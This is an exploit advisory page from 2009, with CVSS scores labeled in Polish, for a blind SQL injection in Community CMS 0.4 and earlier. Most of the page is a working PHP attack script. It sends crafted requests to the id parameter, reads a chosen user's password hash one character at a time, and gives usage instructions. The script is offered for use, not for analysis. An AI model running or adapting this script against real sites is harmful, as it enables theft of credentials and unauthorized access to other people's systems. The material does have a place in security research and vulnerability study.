Community CMS <= 0.4 (/index.php id) Blind SQL Injection Exploit

2009.02.06
Credit: darkjoker
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

--+++==============================================================+++-- --+++====== Community CMS <= 0.4 Blind SQL Injection Exploit ======+++-- --+++==============================================================+++-- <?php function query ($user, $pos, $chr) { $query = "x' OR ASCII(SUBSTRING((SELECT password FROM comcms_users WHERE username = '{$user}'),{$pos},1))={$chr} OR '1' = '2"; $query = str_replace (" ", "%20", $query); $query = str_replace ("'", "%27", $query); return $query; } function exploit ($hostname, $path, $user, $pos, $chr) { $chr = ord ($chr); $fp = fsockopen ($hostname, 80); $query = query ($user, $pos, $chr); $get = "GET {$path}/index.php?id={$query} HTTP/1.1\r\n". "Host: {$hostname}\r\n". "Connection: Close\r\n\r\n"; fputs ($fp, $get); while (!feof ($fp)) $x .= fgets ($fp, 1024); fclose ($fp); if (preg_match ("/Failed to load page/", $x)) return false; else return true; } function usage () { exit ( "Community CMS <= 0.4 Blind SQL Injection Exploit". "\n[+] Author : darkjoker". "\n[+] Site : http://darkjoker.net23.net". "\n[+] Download: http://surfnet.dl.sourceforge.net/sourceforge/communitycms/communitycms-0.4.zip". "\n[+] Usage : php xpl.php <localhost> <path> <username>". "\n[+] Ex. : php xpl.php localhost /CommunityCMS admin". "\n[+] Greetz : certaindeath". "\n\n"); } if ($argc != 4) usage (); $hostname = $argv [1]; $path = $argv [2]; $user = $argv [3]; $key = "abcdef0123456789"; $pos = 1; $chr = 0; echo "[+] Password: "; while ($pos <= 32) { if (exploit ($hostname, $path, $user, $pos, $key [$chr])) { echo $key [$chr]; $chr = 0; $pos++; } else $chr++; } echo "\n\n"; ?>


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